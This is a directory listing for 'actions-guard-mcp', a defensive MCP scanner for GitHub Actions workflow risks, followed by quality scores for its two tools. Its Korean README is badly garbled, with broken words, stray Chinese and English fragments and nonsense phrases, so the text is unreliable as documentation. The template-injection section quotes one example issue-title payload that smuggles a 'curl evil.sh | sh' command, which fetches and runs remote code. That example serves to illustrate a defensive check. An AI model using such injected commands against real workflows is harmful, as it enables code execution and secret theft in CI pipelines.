Skip to main content
Glama

actions-guard-mcp

GitHub Actions의 워크플로우 보안 스, MCP 도구의 형태로 노출됩니다. 즉, 에이전트가 워크플로우 파일을 커밋한 후에가 아니라 커밋하기 전에 실제 사고CoreShop, tj-actions 등)로 이이진 "pwn request" 및 공급망 패턴을 잡을 수 있습니다.

존재 이유

GitHub Actions 워크플로우에 대한 정적 분석은 성숙와 있고, 잘 이해도는 분야와. zizmor은 정확을 이를 위해 정확을 이위한, 존중받고 활발히 유지도는 실제 스너입니다. 아직 만들지지 않은 것은 해당 분석 계열을 감싸는 넉진한 MCP 큽퍼입니다. 광범위한 검색에서 확인된 유일의 프로젝트(github-security-mcp)는 45개 검사를 조직 설정, 시크릿, 공급망, 그리고 Actions에 걸쳐 하나의 일반적 도구에 나将一个 도구 with one, n stars, no commit 5 month. 별 12개에 커밋이 5개월 없음. 에이전트가 워크플로우를 작은 작성거나 검토하는 동안, 워크플로우 보안에 특히존중하고 깊이 있는 무언가로서의 도구는 없습니다.

Related MCP server: TaskBounty Check

잡아내는 것

위험한 트리거 (AGMCP-101) — pull_request_target 또는 workflow_run이, ref: 또는 repository:가 트리거한 PR/실행의 자체 포크를 가리키는 체크아웃 단계와 결합된 경우. 이고 CoreShop 사고 형상의 정확한 형태가, 확실: 기본 리포지토리의 토큆과 시크릿를 시용하는 데지만 커밋하한을 체크아웃하고 코드를 실행시키는 워크플로우.

템플릿 인젝트 (AGMCP-102) — 공격자 통제 컨텍스트(github.event.issue.title, github.event.pull_request.title, github.event.comment.body, github.head_ref, toJSON(github.event) 전체 페이로드 덥프 등)에서 만들어 진 ${{ ... }} 표현이 env:을 통과하지 않고 run: 스텝에 직접 삽입되는 형태. 전형적인 형테은 run: echo "${{ github.event.issue.title }}" — 이슈 제목으로 " " curl -f -f evil.sh | sh #가 올면, 그 시점에서 문자열이 아니라 스ീ립트. ?? No, "쉐" will be.

고정되지 않은 액션/재사용 워크플로 (AGMCP-103) — 커밋 SHA로 고정하지 않고 owner/repo@v4(신 가능한 태그/브랜치)를 사용하거나, 작업 수준의 재사용 워크플로우 호출(jobs.<id>.uses: owner/repo/.github/workflows/x.yml@main)도 변경 가능한 방식로 고정되지 못하거나, docker://image:tag를 @sha256: 다이제스트로 고정하지 못한 참자. Its가이 at tj-actions 공지의 침 공급망 공격면임: 가변이 채손도는데ーター point at, used a version bump no bump, 안전된 모든.

과도한 권한 (AGMCP-104) — permissions: write-all 또 는용– spec scopes write scope (contents, actions, packages, ...) at runtime and flows.

비밀 값을 셸에 바로 집어넣는 (AGMCP-105) — ${{ secrets.X }}를 env:로 전달하지 않고 run: 스텝에서 직접 쓰는 경우, 원본 비밀 값을 환경 변수가 아닌리 엘 코자에서/프로세스 목록에 직접 제트라 불필요한 노출이 됩니다.

모든 마커 매칭 (AGMCP-101/102/105)은 GitHub Actions의 브라킷 노✨ — access API (*github[event][issue] → etc?) 문자열 수. HL.

알려진 한계

이것은 마커 매칭이 물자 그대로의 ${{ }} 표현 식과 with:/permissions: block을 면 것 — 완전한 GitHub Actions 표현식 parameter/데이터 플로 분석은 아니합니다. 클린 결과 값은 "기록한 텍스트에서 알려진 위험한 패턴이 발견되지 않았다"는 뜻이지, 어단을하지 못한다는 뜻입니다. 구체적으로:

  • 단간/내 등 중간 전닥 / env: 흐름 추적 없음. 위험한 값에가 어떤 checkout의 ref: 또는 run: 명령에 도달하기 전에 중간 env: 변수 또는 스텝의 아웃품을 거치면 AGMCP-101/102/105가 보지 못합니다 — 분석 대상 자리에 있는 글자체의 표현만 확인하고, 그중에 대해서도 리적 data flow 처리 안 합니다.

  • 공격자-통제 컨텍스트의마커 목록 (AGMCP-102)은 유한정도 사용자 주지의 집합입니다. GitHub 소스는 GitHub Actions 모든 context path를 플로 전열하지 않습니다. 명확되지 않고, 아직 파일리에 없는 전더 new field있 을거나 드문 필드가 존재할 수 있습니다.

검사 결과가 보안 결정의 근거로 중요하다면 그 것이 last word로 여기지 말她 — izmor is have deeper and more general static analysis of the same file category; this is worth running alongside, not-> in case.

설정

pip install actions-guard-mcp
actions-guard-mcp

구성 파일 필요 없이 각 도구에는 워크플로우 파일 파이 또는 ChaYAML 내용 Y도 마찬로 전달하면 됩니다.

상태

초기 상태.

라이선스

MIT

Available Tools

2 tools
scan_workflow_contentA

Scan raw GitHub Actions workflow YAML content directly — for a workflow being drafted that isn't written to disk yet.

ParametersJSON Schema
NameRequiredDescriptionDefault
yaml_contentYes

TDQS

A4.2/5.0
Behavior3/5

Does the description disclose side effects, auth requirements, rate limits, or destructive behavior?

With no annotations, the description carries full disclosure burden. It clarifies that the input is raw content passed directly (not a file path) and that it is for content not yet on disk, implying a read-only scan. However, it does not explicitly state that the tool has no side effects or what it returns. This is a moderate gap for a non-annotated tool.

Agents need to know what a tool does to the world before calling it. Descriptions should go beyond structured annotations to explain consequences.

Conciseness5/5

Is the description appropriately sized, front-loaded, and free of redundancy?

Two sentences, no fluff, and the core action and scoping constraint are front-loaded. Every word adds value, making it easy to parse quickly.

Shorter descriptions cost fewer tokens and are easier for agents to parse. Every sentence should earn its place.

Completeness4/5

Given the tool's complexity, does the description cover enough for an agent to succeed on first attempt?

For a simple one-parameter tool with no annotations and no output schema, the description provides the essential information: what input to provide and when to use it. It lacks details about return formats or error behavior, but for a scanning action the intent is clear. It is complete enough for an agent to invoke correctly in the stated scenario.

Complex tools with many parameters or behaviors need more documentation. Simple tools need less. This dimension scales expectations accordingly.

Parameters4/5

Does the description clarify parameter syntax, constraints, interactions, or defaults beyond what the schema provides?

The schema has only one parameter (yaml_content) with no description coverage (0%). The description adds meaning by specifying it should be 'raw GitHub Actions workflow YAML content' and clarifies that it is passed directly, not as a file reference. This compensates for the schema's lack of detail, giving an agent sufficient understanding of what to supply.

Input schemas describe structure but not intent. Descriptions should explain non-obvious parameter relationships and valid value ranges.

Purpose5/5

Does the description clearly state what the tool does and how it differs from similar tools?

The description states a specific action ('Scan raw GitHub Actions workflow YAML content directly') and clearly distinguishes from its sibling by emphasizing 'raw content directly' for 'a workflow being drafted that isn't written to disk yet.' This makes the tool's purpose unambiguous and differentiates it from scan_workflow_file without needing to inspect the sibling.

Agents choose between tools based on descriptions. A clear purpose with a specific verb and resource helps agents select the right tool.

Usage Guidelines4/5

Does the description explain when to use this tool, when not to, or what alternatives exist?

The description gives explicit context for when to use this tool: 'for a workflow being drafted that isn't written to disk yet.' It implies the alternative (scan_workflow_file) is for when the workflow exists on disk, though it does not name it or provide explicit exclusions. The guidance is clear enough for an agent to decide correctly.

Agents often have multiple tools that could apply. Explicit usage guidance like "use X instead of Y when Z" prevents misuse.

scan_workflow_fileA

Scan a GitHub Actions workflow file on disk for dangerous triggers, template injection, unpinned actions, excessive permissions, and secrets interpolated into shell commands.

ParametersJSON Schema
NameRequiredDescriptionDefault
pathYes

TDQS

A3.9/5.0
Behavior4/5

Does the description disclose side effects, auth requirements, rate limits, or destructive behavior?

With no annotations provided, the description carries the full burden of behavioral disclosure. It communicates a scan (non-destructive, read-operation) intent and specifies the categories analyzed, which gives the agent a solid picture of the tool's behavior. It does not mention auth requirements or what happens if the path is invalid, but for a read-only analysis tool the disclosed scope is reasonably complete.

Agents need to know what a tool does to the world before calling it. Descriptions should go beyond structured annotations to explain consequences.

Conciseness5/5

Is the description appropriately sized, front-loaded, and free of redundancy?

A single sentence front-loads the core action and then enumerates the scan categories tersely. Every clause earns its place; there is no filler, redundancy, or restating of the tool name.

Shorter descriptions cost fewer tokens and are easier for agents to parse. Every sentence should earn its place.

Completeness3/5

Given the tool's complexity, does the description cover enough for an agent to succeed on first attempt?

The input side is fully covered given a single, well-contextualized parameter. However, with no output schema and no annotation coverage, the description does not convey what the scan returns—findings, severity levels, or error behavior—which an agent would reasonably want before invoking a security-scanning tool. That return-format gap is the main omission.

Complex tools with many parameters or behaviors need more documentation. Simple tools need less. This dimension scales expectations accordingly.

Parameters3/5

Does the description clarify parameter syntax, constraints, interactions, or defaults beyond what the schema provides?

Schema description coverage is 0%, so the description must compensate. The single parameter 'path' is well-named, and the 'workflow file on disk' phrasing reinforces that it is a filesystem path to a YAML/JSON workflow file. This partial compensation covers the parameter's intent, though the description omits specifics like whether the path should be relative or absolute, and whether the file must exist prior to the call.

Input schemas describe structure but not intent. Descriptions should explain non-obvious parameter relationships and valid value ranges.

Purpose5/5

Does the description clearly state what the tool does and how it differs from similar tools?

The description uses a specific verb ('Scan') with a clear resource ('a GitHub Actions workflow file on disk') and enumerates the exact checks performed (dangerous triggers, template injection, unpinned actions, excessive permissions, secrets interpolated into shell commands). The 'on disk' qualifier cleanly separates it from the sibling scan_workflow_content, which presumably scans content strings rather than files.

Agents choose between tools based on descriptions. A clear purpose with a specific verb and resource helps agents select the right tool.

Usage Guidelines3/5

Does the description explain when to use this tool, when not to, or what alternatives exist?

The 'on disk' phrase implies this tool is for file paths, giving implicit context about when to reach for it versus scan_workflow_content. However, there is no explicit statement that scan_workflow_content should be used when workflow content is available as a string or inline text, nor any exclusion or alternative named directly. The guidance exists but is left to inference.

Agents often have multiple tools that could apply. Explicit usage guidance like "use X instead of Y when Z" prevents misuse.

Tool Schema Changelog

Recent tool additions, removals, and schema changes observed during successful MCP inspections.

  1. 2 tool updatesv0.1.0
    • First observedscan_workflow_content
    • First observedscan_workflow_file

TDQS

A4/5.0

Scored across 2 tools

Disambiguation4/5

The two tools share the same core purpose (security scanning of GitHub Actions workflows) but are clearly differentiated by input source: one takes a file path and the other takes raw content. The descriptions explicitly clarify the difference, so an agent is unlikely to confuse them.

Naming Consistency5/5

Both tools follow a consistent verb_noun pattern with a distinguishing suffix: 'scan_workflow_file' and 'scan_workflow_content'. This is clear, predictable, and allows easy selection based on input type.

Tool Count3/5

With only two tools, the server feels minimal for a security scanner. While the focus is narrow, the limited surface might be seen as thin, though it covers the primary use cases without being excessive.

Completeness4/5

The tool set covers the two main input modes for workflow scanning (file and raw content), which are the most common scenarios. However, it misses other potential inputs like URLs or repository paths, leaving a minor gap for an agent that wants to scan directly from a remote source.

Maintenance

ActivityMaintained
ResponsivenessNo issues

Related MCP Connectors

Related MCP Servers

  • A
    license
    A
    quality
    D
    maintenance
    An MCP server that enables AI agents to perform comprehensive GitHub security audits across org settings, repositories, Actions workflows, secrets, supply chain, and access control using 39 tools and 45 checks.
    39
    162 npm
    15
    MIT
  • A
    license
    A
    quality
    C
    maintenance
    Local-only GitHub Actions and CI maintenance scanner for AI-built apps. Exposes scan, explanation, and fix-planning tools to MCP clients; modifies nothing and makes no outbound requests by default.
    3
    61 npm
    2
    MIT
  • F
    license
    Not graded
    quality
    D
    maintenance
    Audits GitHub Actions workflow files for supply-chain risks like script injection, leaked tokens, unpinned actions, and broad permissions.
    -